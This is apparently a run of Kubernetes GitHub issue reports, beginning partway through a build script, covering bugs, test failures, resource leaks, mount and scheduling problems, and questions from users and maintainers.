${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r    \r \r /cc @chrisohaver \r /cc @timothysc\r /assign @thockin\r \r @fturib \r \r   

the workaround in https://github.com/kubernetes/kubernetes/pull/75887 should be removed  but the test kept to prevent regressions  once we upgrade to go 1.12.2 and pick up https://github.com/golang/go/commit/ec06e9ba4578d26fdb9c521d4042e3f9f7f42435\r \r /assign

to measure the latency of starting a single pod on a 30 pod node we need an accurate depiction of how long it took start. currently we use  time created - time started of last container . this has the following problems: 1. includes scheduler overhead 2. time started is updated on restart  what we want to know is how long it took the kubelet from when it saw a pod in pending, to update it to running, and what part of that pipeline was slowest. we need to get this information from an e2e test.  /ref https://github.com/googlecloudplatform/kubernetes/issues/3954

the condition on task for checking if the cert is created only checks the file. we need to name the file something so we can know when to force the task to create a new cert on ip change.   https://github.com/googlecloudplatform/kubernetes/blob/master/contrib/ansible/roles/kubernetes/tasks/gen_certs.yml l20     issue  kubelet can then not reconnect to apimaster      jul 02 23:54:56 node-1.vms.local kubelet 12850 : e0702 23:54:56.092537   12850 reflector.go:136  failed to list  api.service: get https://172.10.1.100:443/api/v1/services: x509: certificate is valid for 10.0.2.15, 10.254.0.1, not 172.10.1.100 jul 02 23:54:56 node-1.vms.local kubelet 12850 : e0702 23:54:56.217163   12850 reflector.go:136  failed to list  api.node: get https://172.10.1.100:443/api/v1/nodes?fieldselector=metadata.name%3d172.10.1.11: x509: certificate is valid for 10.0.2.15, 10.254.0.1, not 172.10.1.100 jul 02 23:54:56 node-1.vms.local kubelet 12850 : e0702 23:54:56.235534   12850 reflector.go:136  failed to list  api.pod: get https://172.10.1.100:443/api/v1/pods?fieldselector=spec.nodename%3d172.10.1.11: x509: certificate is valid for 10.0.2.15, 10.254.0.1, not 172.10.1.100         possible solutions 1. have the script that create the certs drop a single empty file that tis the ip passes into it. 2. regenerate a new cert every ansible run. 3. write some ansible tasks that somehow know we changed ip address of the master node

docker 1.9.1      localhost:~$ export k8s_version=1.2.0-alpha.8 localhost:~$ docker run \\ >     --volume=/:/rootfs:ro \\ >     --volume=/sys:/sys:ro \\ >     --volume=/var/lib/docker/:/var/lib/docker:rw \\ >     --volume=/var/lib/kubelet/:/var/lib/kubelet:rw \\ >     --volume=/var/run:/var/run:rw \\ >     --net=host \\ >     --pid=host \\ >     --privileged=true \\ >     -d \\ >     gcr.io/google_containers/hyperkube-amd64:v${k8s_version} \\ >     /hyperkube kubelet \\ >         --containerized \\ >         --hostname-override=\ 127.0.0.1\  \\ >         --address=\ 0.0.0.0\  \\ >         --api-servers=http://localhost:8080 \\ >         --config=/etc/kubernetes/manifests \\ >         --cluster-dns=10.0.0.10 \\ >         --cluster-domain=cluster.local \\ >         --allow-privileged=true --v=2 unable to find image 'gcr.io/google_containers/hyperkube-amd64:v1.2.0-alpha.8' locally v1.2.0-alpha.8: pulling from google_containers/hyperkube-amd64 523ef1d23f22: extracting  =>                                                   1.573 mb/51.35 mb 140f9bdfeb97: download complete 719d88ced2bf: download complete 44d57613ee3c: download complete f2bae601ce58: download complete 80f9aa272052: download complete 1c4b2bc7fce9: download complete dee6c20c34b6: download complete ca0fadf674c4: download complete 50c5cf9ae0d9: download complete b693cc843df4: download complete 13935e761a23: download complete 819745abd78a: download complete 864f77924439: download complete e859b3d9e0d1: download complete ddc822834fae: download complete 259e39538fa1: download complete pulling repository gcr.io/google_containers/hyperkube-amd64 beff1c9562bb: error pulling image  v1.2.0-alpha.8  from gcr.io/google_containers/hyperkube-amd64, endpoint: https://gcr.io/v1/, applylayer exit status 1 stdout:  stderr: chmod /bin/mount: permission denied cb6fb082434e: error downloading dependent layers error pulling image  v1.2.0-alpha.8  from gcr.io/google_containers/hyperkube-amd64, applylayer exit status 1 stdout:  stderr: chmod /bin/mount: permission denied

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce/19703/  failed:  k8s.io  variable expansion should allow substituting values in a container's args  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/expansion.go:131 expected error:     < errors.statuserror | 0xc820ff4600>: {         errstatus: {             typemeta: {kind: \ status\ , apiversion: \ v1\ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ pods \\\ var-expansion-5145b4b2-42d1-11e6-afb7-0242ac110003\\\  not found\ ,             reason: \ notfound\ ,             details: {                 name: \ var-expansion-5145b4b2-42d1-11e6-afb7-0242ac110003\ ,                 group: \ \ ,                 kind: \ pods\ ,                 causes: nil,                 retryafterseconds: 0,             },             code: 404,         },     }     pods \ var-expansion-5145b4b2-42d1-11e6-afb7-0242ac110003\  not found not to have occurred

whether the environment is cloud or non-cloud, requiring integration with dnsaas  google dns, route 53  imposes a penalty on the development and testing of features that don't depend on dnsaas.  it should be possible for the control plane to function without a dns provider configured, and   kubefed   should allow dnsaas integration to be disabled  e.g.   --dns-provider=none   .\r \r  40536 is the umbrella issue for tracking this and others targeting improvements in non-cloud deployment of the federation control plane.\r \r cc: @kubernetes/sig-federation-feature-requests

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r    no   \r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r    1.5.2   \r \r   environment  :\r -   cloud provider or hardware configuration  :\r    bare metal one node install   \r -   os    e.g. from /etc/os-release :\r    ubuntu 16.04.1 lts  xenial xerus    \r -   kernel    e.g.  uname -a  :\r    4.4.0-59-generic   \r -   install tools  :\r    kubeadm   \r -   others  :\r \r \r   what happened  :\r \r kubelet crashed in gc\r \r    \r jan 30 02:37:06 k8s kubelet 1711 : fatal error: scan missed a g\r jan 30 02:37:06 k8s kubelet 1711 : goroutine 51  running :\r jan 30 02:37:06 k8s kubelet 1711 : runtime.throw 0x2954e6c, 0xf \r jan 30 02:37:06 k8s kubelet 1711 :         /usr/local/go/src/runtime/panic.go:566 +0x95 fp=0xc4204686d0 sp=0xc4204686b0\r jan 30 02:37:06 k8s kubelet 1711 : runtime.gcmarkrootcheck  \r jan 30 02:37:06 k8s kubelet 1711 :         /usr/local/go/src/runtime/mgcmark.go:124 +0x275 fp=0xc420468720 sp=0xc4204686d0\r jan 30 02:37:06 k8s kubelet 1711 : runtime.gcmarkdone  \r jan 30 02:37:06 k8s kubelet 1711 :         /usr/local/go/src/runtime/mgc.go:1079 +0xc5 fp=0xc420468748 sp=0xc420468720\r jan 30 02:37:06 k8s kubelet 1711 : runtime.gcbgmarkworker 0xc420031500 \r jan 30 02:37:06 k8s kubelet 1711 :         /usr/local/go/src/runtime/mgc.go:1497 +0x2c2 fp=0xc4204687b8 sp=0xc420468748\r jan 30 02:37:06 k8s kubelet 1711 : runtime.goexit  \r jan 30 02:37:06 k8s kubelet 1711 :         /usr/local/go/src/runtime/asm_amd64.s:2086 +0x1 fp=0xc4204687c0 sp=0xc4204687b8\r jan 30 02:37:06 k8s kubelet 1711 : created by runtime.gcbgmarkstartworkers\r    \r \r kubelet was not available after the above crash, but the process didn't crash so the whole node was not available.\r \r   what you expected to happen  :\r \r no crashing or hard crash to be able to be restarted by systemd\r \r   how to reproduce it    as minimally and precisely as possible :\r \r n/a\r \r   anything else do we need to know  :\r \r

bug report  :\r \r   kubernetes version    use  kubectl version  :\r \r     \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r \r   environment  :\r -   cloud provider or hardware configuration  :\r     \r azure\r     \r -   os    e.g. from /etc/os-release : \r     \r pretty_name=\ centos linux 7  core \ \r     \r -   kernel    e.g.  uname -a  :\r     \r linux kubemaster0 3.10.0-327.36.3.el7.x86_64  1 smp mon oct 24 16:09:20 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r     \r -   install tools  : \r     \r in-house\r     \r -   others  :\r cc: @colemickens @brendandburns \r \r   what happened  :\r \r there are resource leaks in the cloud with respect to publicip and loadbalancer frontend ip pool and healthprobe\r \r   what you expected to happen  :\r \r all created cloud resources, associated with a deleted service, should be destroyed. this is causing the azure load balancer to fill up its frontend ip pool which is currently limited to 10 entries. after a few resource leak, the new kuberntes services cannot get valid external ip since the azure load balancer is full. \r \r   how to reproduce it    as minimally and precisely as possible :\r \r - create 5 namespaces and deploy the guestbook-all-in-one.yml example.  making sure you turn on the loadbalancer type for the frontend service \r - wait for all of the 5 publicip to be provisioned in the azure load balancer.\r - delete all of the 5 namespaces using the  kubectl delete ns <nsx> \r - poll the namespaces until they are totally gone from kubernetes and recreate them.\r - redeploy the guestbook-all-in-one.yml in all 5 namespaces.\r \r you will probably end up with 5 new ips but not all of the previous ones will be deleted. \r \r   anything else we need to know  :\r \r   kube-controller-manager logs  \r \r  kube-controller-manager.txt  https://github.com/kubernetes/kubernetes/files/874318/kube-controller-manager.txt \r \r \r service ip after the first pod creation\r     \r  root@saltmaster ~   kubectl get services --all-namespaces\r namespace     name                     cluster-ip        external-ip      port s                        age\r default       kubernetes               192.168.0.1       <none>           443/tcp                       8h\r kube-system   grafana                  192.168.28.80     52.184.156.62    80:31953/tcp                  7h\r kube-system   heapster                 192.168.175.45    <none>           80/tcp                        7h\r kube-system   influxdb                 192.168.38.109    52.184.157.3     8083:8083/tcp,8086:8086/tcp   7h\r kube-system   k8s-dashboard-dpl-tool   192.168.164.238   <nodes>          9090:9090/tcp                 7h\r kube-system   kapacitor                192.168.167.191   <nodes>          9092:9092/tcp                 7h\r kube-system   kube-dns                 192.168.0.10      <none>           53/udp,53/tcp,10054/tcp       7h\r kube-system   kube-state-metrics       192.168.109.99    <none>           80/tcp                        7h\r kube-system   kubernetes-dashboard     192.168.173.127   <none>           80/tcp                        7h\r test1         frontend                 192.168.26.73     52.167.216.18    80:28459/tcp                  6m\r test1         redis-master             192.168.94.101    <none>           6379/tcp                      6m\r test1         redis-slave              192.168.21.41     <none>           6379/tcp                      6m\r test2         frontend                 192.168.182.80    52.184.158.235   80:23436/tcp                  6m\r test2         redis-master             192.168.15.131    <none>           6379/tcp                      6m\r test2         redis-slave              192.168.137.122   <none>           6379/tcp                      6m\r test3         frontend                 192.168.203.37    52.184.157.149   80:18365/tcp                  6m\r test3         redis-master             192.168.237.227   <none>           6379/tcp                      6m\r test3         redis-slave              192.168.217.46    <none>           6379/tcp                      6m\r test4         frontend                 192.168.44.177    52.184.158.222   80:21141/tcp                  6m\r test4         redis-master             192.168.56.115    <none>           6379/tcp                      6m\r test4         redis-slave              192.168.94.50     <none>           6379/tcp                      6m\r test5         frontend                 192.168.96.186    52.184.154.45    80:21171/tcp                  6m\r test5         redis-master             192.168.228.221   <none>           6379/tcp                      6m\r test5         redis-slave              192.168.98.239    <none>           6379/tcp                      6m\r     \r service ip after the re-creation\r     \r  root@kubemaster0 ~   kubectl get service --all-namespaces\r namespace     name                     cluster-ip        external-ip      port s                        age\r default       kubernetes               192.168.0.1       <none>           443/tcp                       8h\r kube-system   grafana                  192.168.28.80     52.184.156.62    80:31953/tcp                  8h\r kube-system   heapster                 192.168.175.45    <none>           80/tcp                        8h\r kube-system   influxdb                 192.168.38.109    52.184.157.3     8083:8083/tcp,8086:8086/tcp   8h\r kube-system   k8s-dashboard-dpl-tool   192.168.164.238   <nodes>          9090:9090/tcp                 8h\r kube-system   kapacitor                192.168.167.191   <nodes>          9092:9092/tcp                 8h\r kube-system   kube-dns                 192.168.0.10      <none>           53/udp,53/tcp,10054/tcp       8h\r kube-system   kube-state-metrics       192.168.109.99    <none>           80/tcp                        7h\r kube-system   kubernetes-dashboard     192.168.173.127   <none>           80/tcp                        8h\r test1         frontend                 192.168.217.229   52.184.182.50    80:30532/tcp                  9m\r test1         redis-master             192.168.241.171   <none>           6379/tcp                      9m\r test1         redis-slave              192.168.47.101    <none>           6379/tcp                      9m\r test2         frontend                 192.168.116.19    52.184.185.178   80:13829/tcp                  7m\r test2         redis-master             192.168.128.86    <none>           6379/tcp                      7m\r test2         redis-slave              192.168.221.99    <none>           6379/tcp                      7m\r test3         frontend                 192.168.140.231   52.167.213.164   80:14027/tcp                  7m\r test3         redis-master             192.168.21.217    <none>           6379/tcp                      7m\r test3         redis-slave              192.168.37.14     <none>           6379/tcp                      7m\r test4         frontend                 192.168.194.229   52.184.181.215   80:7269/tcp                   7m\r test4         redis-master             192.168.113.141   <none>           6379/tcp                      7m\r test4         redis-slave              192.168.138.243   <none>           6379/tcp                      7m\r test5         frontend                 192.168.111.68    52.167.212.141   80:13231/tcp                  7m\r test5         redis-master             192.168.249.202   <none>           6379/tcp                      7m\r test5         redis-slave              192.168.65.147    <none>           6379/tcp                      7m\r     \r \r azure frontend pool screen shot\r <img width=\ 799\  alt=\ screen shot 2017-03-27 at 22 17 38\  src=\ https://cloud.githubusercontent.com/assets/4981802/24386010/3aa0f1d8-133b-11e7-8339-776aa53cb0e0.png\ >\r

this issue is to track all the tasks for adding leader election feature for federation controller manager.\r \r following are missing pieces in order to support the feature:\r -  x  refactor leader election package test code to remove redundancy -  44286\r -  x  refactor leader election package to use objectgetter interface instead of clientset.interface -  44338 \r -  x  add support for federation-only namespaces -  46090\r -  x  add leader election to federation controller manager -  46090\r \r cc @kubernetes/sig-federation-pr-reviews

error from server  badrequest : the server rejected our request for an unknown reason  get replicasets.extensions   \r \r i don't know how to get logs from the apiserver running on gke master.\r \r    \r $ kubectl get rs nginx1-3103140165 -w\r name                desired   current   ready     age\r nginx1-3103140165   10        10        10        2h\r error from server  badrequest : the server rejected our request for an unknown reason  get replicasets.extensions \r    \r \r   kubernetes version    use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r \r gke v1.6.2\r \r   what happened  :\r \r - this works  $ kubectl get rs <name> \r - this does not work  $ kubectl get rs <name> -w \r \r but it works without an rs specified.\r \r - this works  $ kubectl get rs -w \r \r   what you expected to happen  :\r \r we expect that kubectl should watch replicaset named <name> for changes.\r \r

dear all,\r \r please help/advice. anybody know how to let pods within a deployment spread by idc e.g label in idc1,idc2,idc3... ?\r \r expected result is we must have pods in different idcs.\r \r regards,

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r the equivalence class based scheduling has been landed in but lack of documentation. it's mainly because when this design is firstly proposed, we haven't work out  kubernetes/community  based proposal worflow.\r \r   what you expected to happen  :\r \r i will try to summarize up design from original issues/prs and work out a proposal for other developers to refer. cc @wojtek-t \r \r -  x  design doc in community repo\r -     user guide in doc repo\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

https://k8s-testgrid.appspot.com/sig-cli skew-cluster1.8-kubectl1.7-gce\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r   what happened  :\r \r the number of systemd transient mount units continues to grow unchecked on nodes.\r \r i see a massive number of  loaded    inactive dead  secret transient mount units, for example: \r    \r home-kubernetes-containerized_mounter-rootfs-var-lib-kubelet-pods-947b5769\\x2de3d0\\x2d11e7\\x2d874f\\x2d42010a8002d1-volumes-kubernetes.io\\x7e...-default\\x2dtoken\\x2dvfqcv.mount loaded    inactive dead      /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/94f62320-e319-11e7-874f-42010a8002d1/volumes/kubernetes.io~secret/default-token-vfqcv\r    \r \r we suspect  but have not yet verified  that once there are too many transient mount units, subsequent mounts will fail with:\r    \r warning failedmount 28m  x40 over 1h  kubelet, ... mountvolume.setup failed for volume \ myvol\  : mount failed: exit status 1 \r mounting command: systemd-run \r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/8d3db903-e053-11e7-b0ce-42010a800024/volumes/kubernetes.io~secret/myvol --scope -- mount -t tmpfs tmpfs /var/lib/kubelet/pods/8d3db903-e053-11e7-b0ce-42010a800024/volumes/kubernetes.io~secret/myvol \r output: failed to start transient scope unit: argument list too long\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i left my one node cluster running over the weekend with a single cron job  based on the example cronjob in https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/ .\r \r on my test machine i saw the following on friday evening:\r \r    sh\r $ mount | grep -i kube | wc -l\r 37\r $ ls -l /run/systemd/transient/ | wc -l\r 1\r $ systemctl list-units --all | wc -l\r 825\r    \r \r and the following on monday morning:\r    sh\r $ mount | grep -i kube | wc -l\r 37\r $ ls -l /run/systemd/transient/ | wc -l\r 1\r $ systemctl list-units --all | wc -l\r 16154\r    \r \r \r   anything else we need to know?  :\r \r suspect pr https://github.com/kubernetes/kubernetes/pull/49640 which forces mounts to run in their own systemd scope. it went in to k8s 1.8, so all versions of 1.8+ running systemd may be affected.\r \r cc @jsafrane @derekwaynecarr\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i wrote a mutating webhook that adds annotations to workloads. adding annotations works correctly. but for deleting annotations via  kubectl apply  to work, i have to modify the last-applied-configuration annotation to apply my patch inside the mutation webhook. this seems necessary given how delete patch is generated by  kubectl apply -f . but it will be nice/desired if this was done on server side automatically.\r \r also, does the serverside apply address this issue?\r \r  

execute make test what=./pkg/api/testing/\r and it failed with information:\r    \r --- fail: testsetcontrollerconversion  0.00s \r     serialization_test.go:104: rs._internal.apps -> rs.v1.apps\r     serialization_test.go:107: unexpected encoding error: no kind \ replicaset\  is registered for version \ apps/v1beta1\  in scheme \ k8s.io/kubernetes/pkg/api/legacyscheme/scheme.go:29\ \r    \r \r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : gce-cos-1.13-ingress\r \r   which test s  are failing  :   sig-network  loadbalancing: l7 gce  slow   feature:ingress  should be able to switch between https and http2 modes\r \r   since when has it been failing  : 11/27, around 9am\r \r   testgrid link  : https://k8s-testgrid.appspot.com/sig-release-1.13-blocking gce-cos-1.13-ingress\r \r   reason for failure  :\r \r timeout\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/ingress.go:425\r failed to get request_version=2 or request_scheme=https, response body: \r expected error:\r     < errors.errorstring | 0xc0000cf860>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/ingress.go:1101\r    \r \r   anything else we need to know  :\r \r this is a blocker for 1.13\r \r <!-- do not edit below this line -->\r  /   attn:\r @kubernetes/sig-network-bugs @kubernetes/sig-gcp-bugs \r @aishsundar @mrhohn @caseydavenport @thockin

it took me a while to get past this error because the documentation implied that the secret must be created in the same namespace as the rbd pv. this would be the default namespace and i agree with the documentation.  however, the code seems to behave differently. from this line: https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/rbd/rbd.go l82 i can see that it's using the namespace of the pod that's mounting the pvc that's bound to the pv.  the result of this confusion is that i get this cryptic error message in  oc describe pod :      events:   firstseen lastseen    count   from                    subobjectpath   reason      message   ─────────   ────────    ───── ────                    ───────────── ──────      ───────   1h        1h      1   {scheduler }                        scheduled   successfully assigned redis-master-ann1v to 10-0-3-21.cloud.opsource.net   1h        54s     404 {kubelet 10-0-3-21.cloud.opsource.net}          failedmount unable to mount volumes for pod \ redis-master-ann1v_marktest\ : unsupported volume type   1h        54s     404 {kubelet 10-0-3-21.cloud.opsource.net}          failedsync  error syncing pod, skipping: unsupported volume type      i get a little bit more hint from  service atomic-openshift-node status -l :      may 16 18:20:07 10-0-3-21.cloud.opsource.net atomic-openshift-node 27177 : e0516 18:20:07.472766   27177 rbd.go:88  couldn't get secret marktest/&{ceph-secret}      when i moved the secret from the default context to the project's context  marktest , the pods finally get created.  shouldn't the rbd plugin use the pv's namespace in the above code?

kubernetes version :  hyperkube:v1.4.6_coreos.0\r os: coreos stable  1185.3.0\r ceph version:  10.2.3\r \r i  want create elasticsearch service, and use rbd storage data.  the rc yaml:\r    \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: elasticsearch-logging-v1\r   namespace: kube-system\r   labels:\r     k8s-app: elasticsearch-logging\r     version: v1\r     kubernetes.io/cluster-service: \ true\ \r spec:\r   replicas: 1\r   selector:\r     k8s-app: elasticsearch-logging\r     version: v1\r   template:\r     metadata:\r       labels:\r         k8s-app: elasticsearch-logging\r         version: v1\r         kubernetes.io/cluster-service: \ true\ \r     spec:\r       containers:\r       - image: gcr.io/google_containers/elasticsearch:v2.4.1\r         name: elasticsearch-logging\r         resources:\r             need more cpu upon initialization, therefore burstable class\r           limits:\r             cpu: 1000m\r           requests:\r             cpu: 100m\r         ports:\r         - containerport: 9200\r           name: db\r           protocol: tcp\r         - containerport: 9300\r           name: transport\r           protocol: tcp\r         volumemounts:\r         - name: es-persistent-storage\r           mountpath: /data\r       volumes:\r       - name: es-persistent-storage\r         rbd:\r           monitors:\r           - 10.199.134.2:6789\r           - 10.199.134.3:6789\r           - 10.199.134.4:6789\r           user: admin\r           image: es-persistent-storage\r           pool: kube\r           secretref:\r             name: ceph-secret-admin\r           fstype: xfs\r           readonly: false\r    \r \r i use  kubectl create -f  es-rc.yaml  create  it successful,   and  enter the pod can see the rbd volume mount sucessful.\r \r but when i use  kubectl delete rc elasticsearch-logging-v1   , the rc and the pod is deleted ,but the rbd storage still mount on the k8s-node host. it didn't destory automated.\r \r what wrong with me ?\r \r \r \r

kubectl exec  merges command stderr into stdout. please consider returning them separately. this has been a problem when i tried to pipe command execution result from pod to other tools, which unfortunately made assumptions on this. \r \r repro:\r    \r $ kubectl exec -it debugpod -- sh -c \  >&2 echo error  1>out 2>err\ \r $ kubectl exec -it debugpod -- cat out\r $ kubectl exec -it debugpod -- cat err\r error\r $ kubectl exec -it debugpod -- sh -c \  >&2 echo error  \  1>out 2>err\r $ cat out\r error\r $ cat err\r $ \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2328/ failed:  k8s.io  projected should update labels on modification  conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:878 expected error:     < errors.errorstring | 0xc42040f3d0>: {         s: \ pod ran to completion\ ,     }     pod ran to completion not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:81

i've been using   kubernetes v1.5.1   for running a microservices-based system, using helm to deploy all templates for my application, which consists of at least 15 pods running with different docker images.\r at the beginning of helm install, during docker images downloads and containers creations, i am experiencing a high load average due to disk waiting  %wa . at this time, the system logs return serveral etcd \ timed out\  messages like these bellow:\r \r    \r kube-scheduler: e0331 17:12:39.183817   14958 leaderelection.go:261  failed to update lock: client: etcd cluster is unavailable or misconfigured\r etcd: sync duration of 6.708192315s, expected less than 1s\r etcd: got unexpected response error  etcdserver: request timed out \r kube-apiserver: e0331 17:13:16.115108    2834 errors.go:63  apiserver received an error that is not an unversioned.status: client: etcd cluster is unavailable or misconfigured\r    \r \r despite the messages, the deploy ends successfully with helm creating the release correctly. this is ok.\r \r i recently installed   kubernetes v1.6.0   in a fresh install for tests. this time, using the same helm version, when the first \ timed out\  message comes out, the helm release fails instantly:\r \r    \r helm install chart --name=releasename --wait --timeout 9999\r error: release releasename failed: etcdserver: request timed out\r    \r \r the system logs are quite similar to those of the old version:\r \r    \r kube-scheduler: e0330 15:15:33.110012   18868 leaderelection.go:263  failed to update lock: etcdserver: request timed out\r etcd: sync duration of 3.654239675s, expected less than 1s\r etcd: timed out waiting for read index response\r kube-apiserver: e0330 15:15:33.109560    2918 status.go:62  apiserver received an error that is not an metav1.status: etcdserver: request timed out\r    \r \r somehow the message is now handled by helm as an critical error that fails the release. however, the deploy continues running in background after the error, creating all the desired pods, as in the first case.\r high load average is expected, as well the \ timed out\  messages, but the helm release could not fail since in fact the deployment ends successfully.\r is there a way to deal with messages like in the first case? is this behavior expected, a bug or am i missing something?\r \r _in both cases:\r etcd version: 3.1.0\r helm version: 2.2.3\r os: centos linux release 7.3.1611  core  \r 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux_\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.5.1\r \r \r   environment  :\r -   cloud provider or hardware configuration  : 4 core 8 gi\r -   os    e.g. from /etc/os-release : ubuntu\r -   kernel    e.g.  uname -a  :linux default-np113 4.4.0-31-generic  50~14.04.1-ubuntu smp wed jul 13 01:07:32 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  : \r \r \r   what happened  :\r daemonset: when node lost, the pod's \ ready\  is incorrect\r ! image  https://cloud.githubusercontent.com/assets/5154334/25481184/a06552b0-2b7e-11e7-81c9-288617356e34.png \r \r \r   what you expected to happen  :\r the \ ready\  should be 0/1, not 1/1. i think.\r \r   how to reproduce it    as minimally and precisely as possible :\r deploy daemonset, and shutdown one assigned node.\r \r   anything else we need to know  :\r \r

https://k8s-testgrid.appspot.com/release-1.7-blocking soak-gci-gce-1-7-test\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:271\r jun  9 03:35:17.488: memory usage exceeding limits:\r  node bootstrap-e2e-minion-group-rkj5:\r  container \ kubelet\ : expected rss memory  mb  < 73400320; got 138641408\r node bootstrap-e2e-minion-group-t7nn:\r  container \ kubelet\ : expected rss memory  mb  < 73400320; got 147742720\r node bootstrap-e2e-minion-group-wkq3:\r  container \ kubelet\ : expected rss memory  mb  < 73400320; got 147116032\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:155\r    \r \r @dchen1107 @ericchiang @yujuhong @krzyzacy @kubernetes/kubernetes-release-managers

hello, i have a cluster with two ip ranges, which are x.x.x.7 and x.x.x.8. now i have a new schedule requirement that all the pods should run on x.x.x.7 nodes. it is too late for me to label the two ip ranges. so i think i should use custom scheduler. but i have read https://github.com/kubernetes/community/blob/master/contributors/devel/scheduler.md scheduler-extensibility but still have no ideas and do not understand how the policy works. can i use \ predicates\  to filter out x.x.x.8 nodes?

